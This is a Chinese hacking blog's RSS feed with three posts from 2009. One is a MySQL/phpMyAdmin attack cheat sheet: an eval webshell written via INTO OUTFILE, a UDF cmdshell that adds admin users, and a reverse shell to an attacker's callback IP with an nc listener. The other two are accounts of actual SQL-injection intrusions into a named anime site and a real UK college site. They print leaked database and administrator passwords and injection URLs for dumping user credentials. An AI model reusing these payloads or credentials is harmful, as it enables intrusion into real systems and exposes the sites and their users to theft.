<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[GuLang's Blog - 安全检测]]></title>
<link>http://www.0354hk.com/</link>
<description><![CDATA[创造机会的人是勇者；等待机会的人是愚者]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[chenliangsx@gmail.com(孤_狼)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>GuLang&#39;s Blog</title>
	<url>http://www.0354hk.com/images/logos.gif</url>
	<link>http://www.0354hk.com/</link>
	<description>GuLang&#39;s Blog</description>
</image>

			<item>
			<link>http://www.0354hk.com/article.asp?id=256</link>
			<title><![CDATA[利用Mysql和PHPmyadmin提权入侵]]></title>
			<author>chenliangsx@gmail.com(admin)</author>
			<category><![CDATA[安全检测]]></category>
			<pubDate>Tue,24 Nov 2009 12:05:15 +0800</pubDate>
			<guid>http://www.0354hk.com/default.asp?id=256</guid>
		<description><![CDATA[1:phpmyadmin 后台拿webshell <br/>phpmyadmin爆路径方法: <br/>weburl+phpmyadmin/themes/darkblue_orange/layout.inc.php <br/><a href="http://url/phpmyadmin/libraries/sel" target="_blank" rel="external">http://url/phpmyadmin/libraries/sel</a>&#101;ct_lang.lib.php <br/>pphpmyadmin/libraries/export/xls.php <br/>hpmyadmin\themes\darkblue_orange\layout.inc.php <br/><br/>D:\usr\www\html\phpMyAdmin\ <br/>----start code--- <br/>Cr&#101;ate TABLE a (cmd text NOT NULL); <br/>Ins&#101;rt INTO a (cmd) VALUES(&#39;&lt;?php @eval($_POST[cmd])?&gt;&#39;); <br/>sel&#101;ct cmd from a into outfile &#39;D:/usr/www/html/phpMyAdmin/d.php&#39;; <br/>Dro&#112; TABLE IF EXISTS a; <br/>----end code--- <br/><br/>2:mix.dll提权 <br/>D:/usr/www/html/mix.dll <br/>mysql -h 目标ip -uroot -p <br/>\. c:\mysql.txt <br/>sel&#101;ct Mixconnect(&#39;反弹ip&#39;,&#39;端口&#39;); <br/>nc -vv -l -p 1983 <br/><br/>3:udf.dll提权 <br/>cr&#101;ate function cmdshell returns string soname &#39;udf.dll&#39; <br/>sel&#101;ct cmdshell(&#39;net user user password /add&#39;); <br/>sel&#101;ct cmdshell(&#39;net localgroup administrators user /add&#39;); <br/>sel&#101;ct cmdshell(&#39;c:\3389.exe&#39;); <br/>dro&#112; function cmdshell; 删除函数 <br/>sel&#101;ct cmdshell(&#39;netstat -an&#39;); <br/>load data infile &#34;d:\\www\\gb\\about\\about.htm&#34; into table tmp; <br/>判断文件存不存在mysql的语句 <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0354hk.com/article.asp?id=42</link>
			<title><![CDATA[MySql入侵检测某PR6动漫站(图)]]></title>
			<author>chenliangsx@gmail.com(admin)</author>
			<category><![CDATA[安全检测]]></category>
			<pubDate>Fri,20 Feb 2009 03:01:10 +0800</pubDate>
			<guid>http://www.0354hk.com/default.asp?id=42</guid>
		<description><![CDATA[话说此站我搞了好几天都搞不下来，让记忆帮想办法，记忆也没什么好方法。最终今天改下思路，搞定！过程如下： <br/>找到一个点 <br/><a href="http://www.webacg.com/job/zixun_content.php?id=71" target="_blank" rel="external">http://www.webacg.com/job/zixun_content.php?id=71</a> <br/>and 1=1&nbsp;&nbsp; and 1=2判断可注. <br/>url字母大写返回出错,Linux. <br/>o&#114;der by 判断字段数为10 <br/>union sel&#101;ct 联合查询得到 3 5 8可查变量 <br/>分别user() database() version()得到 <br/>user:root <br/>版本:5.0.22-Community <br/>数据库:sino_job <br/>既然是root,我们load_file来读他文件： <br/>/usr/local/apache2/conf/httpd.conf <br/>得到网站安装路径信息如下： <br/>NameVirtualHost 60.217.32.159:80 <br/>ServerName *.webacg.com <br/>DocumentRoot /var/www/html <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteEngine On <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteCond %{REQUEST_URI} ^/ <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteRule /(.*) <a href="http://www.webacg.com/" target="_blank" rel="external">http://www.webacg.com/</a>$1 [R=permanent,L] <br/>ServerName www.sinoacg.com <br/>ServerAlias sinoacg.com <br/>DocumentRoot /var/www/html/2 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteEngine On <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteRule ^(.*)/archiver/((fid|tid)-[\w\-]+\.html)$ $1/archiver/index.php?$2 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteRule ^(.*)/forum-([0-9]+)-([0-9]+)\.html$ $1/forumdisplay.php?fid=$2&amp;page=$3 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteRule ^(.*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/viewthread.php?tid=$2&amp;extra=page\%3D$4&amp;page=$3 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteRule ^(.*)/space-(username|uid)-(.+)\.html$ $1/space.php?$2=$3 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteRule ^(.*)/tag-(.+)\.html$ $1/tag.php?name=$2 <br/>ServerName www.webacg.com <br/>ServerAlias webacg.com <br/>DocumentRoot /var/www/html/1 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteEngine On <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteRule ^(.*)/archiver/((fid|tid)-[\w\-]+\.html)$ $1/archiver/index.php?$2 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteRule ^(.*)/forum-([0-9]+)-([0-9]+)\.html$ $1/forumdisplay.php?fid=$2&amp;page=$3 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteRule ^(.*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/viewthread.php?tid=$2&amp;extra=page\%3D$4&amp;page=$3 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteRule ^(.*)/space-(username|uid)-(.+)\.html$ $1/space.php?$2=$3 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteRule ^(.*)/tag-(.+)\.html$ $1/tag.php?name=$2 <br/>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteCond %{REQUEST_URI} ^/ <br/>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RewriteRule /magzine/(.*) <a href="http://d.webacg.com/magzine/" target="_blank" rel="external">http://d.webacg.com/magzine/</a>$1 [R=permanent,L] <br/>ServerName www.webacg.net <br/>ServerAlias webacg.net <br/>DocumentRoot /var/www/html/3 <br/>ServerName webacg.shengtianle.com <br/>DocumentRoot /var/www/html/gcbdell <br/>ServerName www.dad1.cn <br/>ServerAlias www.dad1.com.cn dad1.cn dad1.com.cn www.dadiw.com.cn dadiw.com.cn <br/>DocumentRoot /var/www/html/gaosu/ <br/>再load_file一次读MYSQL的配置文件: <br/>/etc/my.cnf <br/>得到MYsql密码:gcbdell#8367396@!~846462 <br/>到了这里,没什么说的,登陆phpmyadmin提全是吧?但是问题出现了,登陆phpmyadmin提示页面不存在.用牛族的supermysql连接也连接失败,诧异ing…或许是只允许本地连接,OK,想其他办法. <br/>很显然,下一个想法就是更直接的 into outfile到出webshell了,但是问题又出现了(我怎么总出问题),一句话写不进去,这是为什么呢?或许是权限问题吧,换了几个目录,依然如此,晕,想其他办法. <br/>这样不行,咱们就来最原始的方法,我爆你管理员帐户密码,我登陆后台想办法行吧?但是问题又出现了,这个不用说大家也能想到,我找不到密码跟后台- -! <br/>到了此处,陷入痛苦的思考中… <br/>仔细看了下,我刚才的那个点是一个叫做job的栏目,那么看下主站,嗯?有个论坛,思路来了!访问论坛看下论坛管理员ID:sinokl&nbsp;&nbsp;&nbsp;&nbsp;看到这个用户名是不是有点眼熟?没错,我们之前查询出来的当前数据库叫做sino_job,这么说的话,管理员很喜欢sino 或者是sinokl这个用户名了,之前我们得到的MYsql的密码是gcbdell#8367396@!~846462看到这个密码我第一感觉就是他这个密码是拼出来的!很显然gcbdell是一个,8367396是一个846462是一个(或许数字是Q号之类的),那么我们可以尝试把这几段字符分别尝试或者拼接之后进行尝试登陆他的论坛,看了下貌似DZ的论坛,登陆进去提权不是什么难事.但是问题又出现了- -!首先,论坛有个安全机制就是密码尝试出错5次,就要等15分钟后继续尝试,我的天,尝试了N多组合都不行: <br/>gcbdell#8367396@!~846462 <br/>gcbdell <br/>8367396 <br/>846462 <br/>gcbdell#8367396 <br/>gcbdell#846462 <br/>gcbdell8367396 <br/>gcbdell846462 <br/>@!~846462 <br/>@!~8367396 <br/>#8367396 <br/>sinokl <br/>sinokl846462 <br/>sinokl8367396 <br/>gcbdellsinokl <br/>sinoklgcbdell <br/>怎么办?怎么办? <br/>今天闲来无事,想继续搞搞看看,那么咱们就相信一下工具把,拿出穿山甲试了下,速度慢到死,最后也同样是无法得到密码…转了转,突然想起来,狼族不是出了一个专门的工具么?叫wsi来着貌似,上网找了下最新版本,貌似是奥运版- -!拿来试试吧,得到如下数据库 <br/><img src="http://www.anqn.com/pic/10/a2009-2-20-734966.jpg" border="0" alt=""/><br/> <br/>这么一看,整个网站结构应该很清楚了,看到其中一个名为sinogcbbt,为什么叫bbt呢?或许是故意写错的吧.OK,继续,最终得到管理员如下信息. <br/><img src="http://www.anqn.com/pic/10/a2009-2-20-580311.jpg" border="0" alt=""/><br/> <br/><img src="http://www.anqn.com/pic/10/a2009-2-20-621493.jpg" border="0" alt=""/><br/> <br/>&nbsp;&nbsp;<br/>看到这串MD5,说实话,我有点迷糊,这种大站的话密码应该是比较复杂的,MD5一般是查不出来的,自己跑不现实,何况彩虹表那么大,等下来我也老了.一边想其他思路,一边去试试看吧,没想到我人品这么好,竟然查到管理员密码:jiao846462#@! <br/>hoho~~~果然不出我所料,是拼起来的,不过前面多了个jiao,这让我到哪蒙去啊,真是… <br/>下面的就不用多说了,登陆DZ论坛后台,提权拿shell提权… <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0354hk.com/article.asp?id=28</link>
			<title><![CDATA[手工注入纽约大学]]></title>
			<author>chenliangsx@gmail.com(admin)</author>
			<category><![CDATA[安全检测]]></category>
			<pubDate>Sat,14 Feb 2009 12:39:42 +0800</pubDate>
			<guid>http://www.0354hk.com/default.asp?id=28</guid>
		<description><![CDATA[作者：指扣（c_fans） <br/><br/>过年了好忙 各种事情。 <br/>对待站我们应该耐心的去对待各种问题。包括以下出到的问题。 <br/>由于时间问题。作为版主拿出代表性的几点 希望为以后大家的技术有所帮助。 <br/><br/>一 原理分析 <br/>我看看mysql5比之前增加的系统数据库information_schema的结构，它是用来存储数据库系统信息的 <br/>mysql&gt; use information_schema; <br/>Database changed <br/>mysql&gt; show tables; <br/>+—————————————+ <br/>| Tables_in_information_schema | <br/>+—————————————+ <br/>| CHARACTER_SETS | <br/>| COLLATIONS | <br/>| COLLATION_CHARACTER_SET_APPLICABILITY | <br/>| COLUMNS | <br/>| COLUMN_PRIVILEGES | <br/>| KEY_COLUMN_USAGE | <br/>| ROUTINES | <br/>| SCHEMATA | <br/>| SCHEMA_PRIVILEGES | <br/>| STATISTICS | <br/>| TABLES | <br/>| TABLE_CONSTRAINTS | <br/>| TABLE_PRIVILEGES | <br/>| TRIGGERS | <br/>| USER_PRIVILEGES | <br/>| VIEWS | <br/>+—————————————+ <br/>这里只挑注射中可以用到的几个表。 <br/>| SCHEMATA ――&gt;存储数据库名的， <br/>|——&gt;关键字段：SCHEMA_NAME，表示数据库名称 <br/>| TABLES ――&gt;存储表名的 <br/>|——&gt;关键字段：TABLE_SCHEMA表示表所属的数据库名称； <br/>TABLE_NAME表示表的名称 <br/>| COLUMNS ――&gt;存储字段名的 <br/>|——&gt;关键字段：TABLE_SCHEMA表示表所属的数据库名称； <br/>TABLE_NAME表示所属的表的名称 <br/>COLUMN_NAME表示字段名 <br/>二 注入过程 <br/>1 版本号：1:版本号<a href="http://lrc.yorkcollege.ac.uk/subjects" target="_blank" rel="external">http://lrc.yorkcollege.ac.uk/subjects</a> /display.php?id=64%20union%20sel&#101;ct%201,2,3,4,unhex(hex(@@version)),6,7,8,9,10,11 /*（这里用hex unhex绕过错误） <br/><br/>2用户名：2：用户名<a href="http://lrc.yorkcollege.ac.uk/subjects/display.php?id=64%20union%20sel" target="_blank" rel="external">http://lrc.yorkcollege.ac.uk/subjects/display.php?id=64%20union%20sel</a>&#101;ct%201,2,3,4,unhex(hex(user())),6,7,8,9,10,11/* <br/><br/>3数据库名：11:数据库库名：<a href="http://lrc.yorkcollege.ac.uk/subjects" target="_blank" rel="external">http://lrc.yorkcollege.ac.uk/subjects</a> /display.php?id=64%20union%20sel&#101;ct%201,2,3,4,unhex(hex(SCHEMA_NAME)),6,7,8,9,10,11%20from%20information_schema.SCHEMATA%20wh&#101;re%20SCHEMA_NAME%20like%20char(37,105,108,116,95,112,104,112,98,98,37)/* 这里我们找下phpbb的表段。（关键模糊查询，有些库名是很多的。甚至上百，模糊查询可以帮你找到你所希望的。例如：%pass%&nbsp;&nbsp;%phpbb%等 有用的表） <br/><br/>4段名：4：段名<a href="http://lrc.yorkcollege.ac.uk/subjects" target="_blank" rel="external">http://lrc.yorkcollege.ac.uk/subjects</a> /display.php?id=64%20union%20all%20sel&#101;ct%201,2,3,4,unhex(hex(table_name)),6,7,8,9,10,11%20from%20information_schema.tables%20wh&#101;re%20table_schema=database() /*（这里直接利用查询=database查询与用户有关的段） <br/><br/>5：避免限制limit的：<a href="http://lrc.yorkcollege.ac.uk/subjects" target="_blank" rel="external">http://lrc.yorkcollege.ac.uk/subjects</a> /display.php?id=64%20union%20all%20sel&#101;ct%201,2,3,4,unhex(hex(table_name)),6,7,8,9,10,11%20from%20information_schema.tables%20wh&#101;re%20table_schema=database()%20and%20table_name%20!=%20char(117,115,101,114,115%20) /*（有些情况下limit是被限制的 之类我们可以采用！=来绕过） <br/>6：username：<a href="http://lrc.yorkcollege.ac.uk/subjects" target="_blank" rel="external">http://lrc.yorkcollege.ac.uk/subjects</a> /display.php?id=64%20union%20all%20sel&#101;ct%201,2,3,4,unhex(hex(column_name)),6,7,8,9,10,11%20from%20information_schema.columns%20wh&#101;re%20table_name=char(117,115,101,114,115)%20limit%202,1/* <br/>7：password：<a href="http://lrc.yorkcollege.ac.uk/subjects" target="_blank" rel="external">http://lrc.yorkcollege.ac.uk/subjects</a> /display.php?id=64%20union%20all%20sel&#101;ct%201,2,3,4,unhex(hex(column_name)),6,7,8,9,10,11%20from%20information_schema.columns%20wh&#101;re%20table_name=char(117,115,101,114,115)%20limit%206,1 /*（由于长度问题 这里显示不出来 经试验此表并不重要） <br/>8 容错的：<a href="http://lrc.yorkcollege.ac.uk/subjects" target="_blank" rel="external">http://lrc.yorkcollege.ac.uk/subjects</a> /display.php?id=-1%20union%09sel&#101;ct%091,2,3,4,username,6,7,8,9,10,11%09from%09users /*（大家注意这条语句&nbsp;&nbsp;很多情况下如果我们id=64 是不行的&nbsp;&nbsp;这里64可换为-1 两外%20换为%09 多多注意哦 ） <br/>9模糊查询：<a href="http://lrc.yorkcollege.ac.uk/subjects" target="_blank" rel="external">http://lrc.yorkcollege.ac.uk/subjects</a> /display.php?id=64%20union%20all%20sel&#101;ct%201,2,3,4,unhex(hex(table_name)),6,7,8,9,10,11%20from%20information_schema.tables%20wh&#101;re%20table_name%20like%20char(37,112,104,112,37)/* <br/>10：结果：<a href="http://lrc.yorkcollege.ac.uk/subjects" target="_blank" rel="external">http://lrc.yorkcollege.ac.uk/subjects</a> /display.php?id=64+union+sel&#101;ct+1,2,3,4,unhex(hex(concat(username,0×3a,user_password))),6,7,8,9,10,11+from+ilt_phpbb.phpbb_users <br/><br/>时间关系 不再补充 关键字段已经爆出 。 <br/>用户密码也已经爆出。 <br/>关键在于大家对于MY SQL注入错误的一些对待问题。 <br/>希望此文可以帮助大家。 <br/>]]></description>
		</item>
		
</channel>
</rss>
